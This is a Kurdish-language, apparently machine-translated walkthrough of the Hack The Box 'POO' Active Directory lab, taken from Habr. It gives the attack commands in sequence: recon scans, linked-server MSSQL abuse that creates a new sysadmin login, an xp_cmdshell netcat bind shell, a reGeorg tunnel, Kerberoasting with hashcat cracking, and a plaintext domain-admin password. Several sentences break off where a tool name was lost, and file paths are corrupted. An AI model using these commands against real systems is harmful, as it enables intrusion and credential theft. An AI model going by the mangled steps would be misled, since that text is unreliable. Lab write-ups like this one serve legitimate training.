Di vê gotarê de em ê derbasbûna ne tenê makîneyek, lê tevahî mînî-laboratûwarek ji malperê analîz bikin
Wekî ku di danasînê de tê gotin, POO ji bo ceribandina jêhatîbûnên di hemî qonaxên êrîşan de di hawîrdorek piçûk a Active Directory de hatî çêkirin. Armanc ew e ku meriv mêvandarek gihîştî tawîz bike, îmtiyazan zêde bike, û di dawiyê de dema ku 5 ala berhev dike tevaya domainê tawîz bike.
Girêdana laboratîfê bi VPN ve ye. Tête pêşniyar kirin ku hûn ne ji komputerek kar an jî ji mêvandarek ku daneyên ji we re girîng in ve girêdin, ji ber ku hûn di nav torgilokek taybet de bi mirovên ku di warê ewlehiya agahdariyê de tiştek dizanin diqede :)
Agahiyên rêxistinî
Ji bo ku ji we re bibe alîkar ku hûn bi gotarên nû, nermalava, û agahdariya din re rojane bimînin, min afirandiye
Hemî agahdarî tenê ji bo armancên perwerdehiyê têne pêşkêş kirin. Nivîskarê vê belgeyê tu berpirsiyariyê qebûl nake ji ber zirara ku di encama karanîna zanîn û teknîkên ku ji lêkolîna vê belgeyê hatine wergirtin.
Intro
Ev dawiya lîstikê ji du makîneyan pêk tê, û 5 ala dihewîne.
Danasîn û navnîşana mêvandarê berdest jî tê dayîn.
Let's start!
Recon flag
Vê makîneyê navnîşek IP-ya 10.13.38.11 heye, ku ez lê zêde dikim /etc/host.
10.13.38.11 poo.htb
Berî her tiştî, em portên vekirî dişoxilînin. Ji ber ku şopandina hemî portan bi nmap-ê demek dirêj digire, ez ê pêşî vê yekê bi karanîna masscan bikim. Em hemî portên TCP û UDP ji navbeynkariya tun0 bi leza 500 pakêtan di çirkeyê de dişoxilînin.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Naha, ji bo ku agahdariya berfirehtir di derheqê karûbarên ku li ser portan dixebitin bistînin, em bi vebijarka -A vekolînek bimeşînin.
nmap -A poo.htb -p80,1433
Ji ber vê yekê me karûbarên IIS û MSSQL hene. Di vê rewşê de, em ê navê DNS-ya rastîn a domain û komputerê bibînin. Li ser servera malperê em ji hêla rûpela malê ya IIS ve têne silav kirin.
Ka em li pelrêçan bigerin. Ez ji bo vê gobuster bikar tînim. Di pîvanan de em hejmara têlên 128 (-t), URL (-u), ferheng (-w) û pêvekên ku me eleqedar dikin (-x) destnîşan dikin.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ev ji me re piştrastkirina HTTP-ê ji bo pelrêça /admin, û hem jî karûbarek sermaseya gihîştî ya pelê .DS_Store dide me. .DS_Store pelên ku ji bo peldankekê mîhengên xwerû hildigirin, wek lîsteya pelan, cihên îkonan, û wêneya paşxaneya hilbijartî. Dibe ku pelek wusa di pelrêça servera webê ya pêşdebirên malperê de biqede. Bi vî awayî em li ser naveroka pelrêçê agahdarî digirin. Ji bo vê yekê hûn dikarin bikar bînin
python3 dsstore_crawler.py -i http://poo.htb/
Em naveroka pelrêçê digirin. Tişta herî balkêş li vir pelrêça / dev e, ku jê em dikarin di du şaxan de li çavkanî û pelên db binêrin. Lê em dikarin 6 tîpên yekem ên navên pel û pelrêça bikar bînin heke karûbar ji IIS ShortName re xeternak be. Hûn dikarin vê qelsiyê bi karanîna kontrol bikin
Û em pelek nivîsê ya ku bi "poo_co" dest pê dike dibînin. Nizanim paşê çi bikim, min bi tenê hemî peyvên ku bi "co" dest pê dikin ji ferhenga pelrêça hilbijart.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Û em ê wê bi karanîna wfuzz-ê veqetînin.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Û em peyva rast bibînin! Em li vê pelê dinêrin, pêbaweriyan hilînin (li gorî pîvana DBNAME dadbar dikin, ew ji MSSQL ne).
Em ala teslîm dikin û em ji %20 pêşde diçin.
Huh ala
Em bi MSSQL ve girêdidin, ez DBeaver bikar tîne.
Em di vê databasê de tiştek balkêş nabînin, werin em Edîtorek SQL biafirînin û kontrol bikin ka kîjan bikarhêner hene.
SELECT name FROM master..syslogins;
Du bikarhênerên me hene. Werin em îmtiyazên xwe kontrol bikin.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Bi vî awayî, tu îmtiyaz hene. Ka em li serverên girêdayî binihêrin, min li ser vê teknîkê bi hûrgulî nivîsî
SELECT * FROM master..sysservers;
Bi vî rengî em SQL Serverek din dibînin. Werin em pêkanîna fermanan li ser vê serverê bi karanîna openquery() biceribînin.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Û em dikarin dara pirsê jî ava bikin.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Mesele ev e ku gava em daxwazek ji serverek ve girêdayî dikin, daxwaz di çarçoweya bikarhênerek din de tête kirin! Ka em bibînin ka di çarçoveya kîjan bikarhêner de em li ser serverek girêdayî dixebitin.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Naha em bibînin ka di çi çarçoveyê de daxwazek ji serverek girêdayî ya me tê kirin!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Ji ber vê yekê ew çarçoveya DBO ye ku divê hemî îmtiyazan hebe. Ka em di doza daxwazek ji serverek ve girêdayî de îmtiyazan kontrol bikin.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Wekî ku hûn dibînin, hemî îmtiyazên me hene! Werin em rêveberê xwe bi vî rengî ava bikin. Lê ew destûr nadin bi riya vepirsînê, bila em wiya bi EXECUTE AT bikin.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Naha em bi pêbaweriyên bikarhênerê nû ve girêdayî ne, em databasa ala nû temaşe dikin.
Em vê alê teslîm digirin û diçin.
ala BackTrack
Ka em bi karanîna MSSQL şêlekek bistînin, ez mssqlclient ji pakêta impacket bikar tînim.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Pêdivî ye ku em şîfreyan bistînin, û yekem tiştê ku me berê pê re rû bi rû maye malperek e. Ji ber vê yekê, em hewceyê mîhengek servera malperê ne (ne gengaz e ku meriv şêlek hêsan bihêle, xuya ye ku dîwarê agir dimeşe).
Lê ketina tê qedexekirin. Her çend em dikarin pelê ji MSSQL bixwînin, em tenê hewce ne ku zanibin ka kîjan zimanên bernamesaziyê hatine mîheng kirin. Û di pelrêça MSSQL de em fêr dibin ku Python heye.
Wê hingê di xwendina pelê web.config de pirsgirêk tune.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Bi pêbaweriyên ku hatine dîtin, biçin / admin û ala xwe bigirin.
ala piyê
Di rastiyê de, hin nerehetî ji karanîna dîwarê agir hene, lê li mîhengên torê digerin, em dibînin ku IPv6 jî tê bikar anîn!
Ka em vê navnîşanê li /etc/hosts zêde bikin.
dead:babe::1001 poo6.htb
Ka em dîsa mêvandar bişopînin, lê protokola IPv6 bikar bînin.
Û karûbarê WinRM li ser IPv6 heye. Werin em bi pêbaweriyên hatine dîtin ve girêdayî bin.
Li ser sermaseyê alayek heye, em teslîm dikin.
ala P00ned
Piştî pêkanîna keşfê li ser hostayê bi kar tîne
setspn.exe -T intranet.poo -Q */*
Ka em fermanê bi MSSQL bimeşînin.
Bi karanîna vê rêbazê, em SPN-ya bikarhêneran p00_hr û p00_adm distînin, ku tê vê wateyê ku ew ji êrîşek mîna Kerberoasting xeternak in. Bi kurtasî, em dikarin şîfreya wan şîfreyê bistînin.
Pêşî hûn hewce ne ku wekî bikarhênerek MSSQL şêlek stabîl bistînin. Lê ji ber ku em di gihîştinê de sînordar in, pêwendiya me bi mêvandar re tenê bi portên 80 û 1433 re heye. Lê gengaz e ku meriv trafîkê bi porta 80-ê ve tunel bike! Ji bo vê em ê bikar bînin
Lê gava ku em hewl didin ku bigihîjin wê, em xeletiyek 404 distînin. Ev tê wê wateyê ku pelên *.aspx nayên darve kirin. Ji bo ku pelên bi van pêvekan bêne darve kirin, ASP.NET 4.5 wekî jêrîn saz bikin.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Û naha, dema ku em gihîştin tunnel.aspx, em bersivek distînin ku her tişt amade ye ku biçe.
Ka em beşa xerîdar a serîlêdanê bidin destpêkirin, ku dê seyrûseferê veguhezîne. Em ê hemî seyrûsefera ji porta 5432 ber bi serverê ve bişînin.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Û em proxychains bikar tînin da ku seyrûsefera her serîlêdanê bi navgîniya xwe bişînin. Ka em vê proxy li pelê veavakirinê zêde bikin /etc/proxychains.conf.
Naha em bernameyê li serverê bar bikin
Naha em guhdarvan bi MSSQL dest pê dikin.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Û em bi navgîniya xwe ve girêdayî ne.
proxychains rlwrap nc poo.htb 4321
Û werin em haşiyan bigirin.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Dûv re hûn hewce ne ku li ser van haşeyan dubare bikin. Ji ber ku di ferhenga rockyou de ev şîfre nîn bûn, min HEMÛ ferhengên şîfreyên ku di Seclists de hatine peyda kirin bikar anîn. Ji bo lêgerînê em hashcat bikar tînin.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Û em herdu şîfreyan, ya yekem di ferhenga dutch_passwordlist.txt, û ya duyem jî di Keyboard-Combinations.txt de dibînin.
Bi vî awayî sê bikarhênerên me hene, em biçin ser kontrolkerê domainê. Pêşî em navnîşana wî nas dikin.
Mezin, me navnîşana IP-ya kontrolkerê domainê dît. Werin em hemî bikarhênerên domainê, û hem jî kîjan ji wan rêvebir e, fêr bibin. Ji bo dakêşana skrîptê ji bo bidestxistina agahdariya PowerView.ps1. Dûv re em ê bi karanîna evil-winrm ve girêbidin, pelrêça bi skrîptê di parametreya -s de diyar bikin. Û paşê em ê tenê skrîpta PowerView bar bikin.
Niha em gihîştina hemî fonksiyonên wê hene. Bikarhênerê p00_adm wekî bikarhênerek jêhatî xuya dike, ji ber vê yekê em ê di çarçoveya wî de bixebitin. Ka em ji bo vî bikarhênerî tiştek PSCredential biafirînin.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Naha hemî fermanên Powershell ku em Creds destnîşan dikin dê wekî p00_adm bêne darve kirin. Ka em navnîşek bikarhêneran û taybetmendiya AdminCount nîşan bidin.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Û ji ber vê yekê, bikarhênerê me bi rastî îmtiyaz e. Ka em bibînin ka ew di kîjan koman de ye.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Em di dawiyê de piştrast dikin ku bikarhêner rêveberek domainê ye. Ev mafê wî dide ku ji dûr ve têkeve nav kontrolkerê domainê. Ka em biceribînin ku bi riya WinRM-ê bi karanîna tunela xwe têkevin. Ez ji xeletiyên ku ji hêla reGeorg ve hatî çêkirin dema ku evil-winrm bikar tîne tevlihev bûm.
Wê hingê em yekî din, hêsantir bikar bînin,
Em hewl didin ku bi hev ve girêbidin, û em di pergalê de ne.
Lê al tune. Dûv re li bikarhêner binihêrin û sermaseyan kontrol bikin.
Em ala li mr3ks dibînin û laboratûvar 100% temam bûye.
Navê pêger. Wekî bertek, ji kerema xwe şîrove bikin ka we ji vê gotarê tiştek nû fêr bû û gelo ew ji we re bikêr bû.
Hûn dikarin beşdarî me bibin
Source: www.habr.com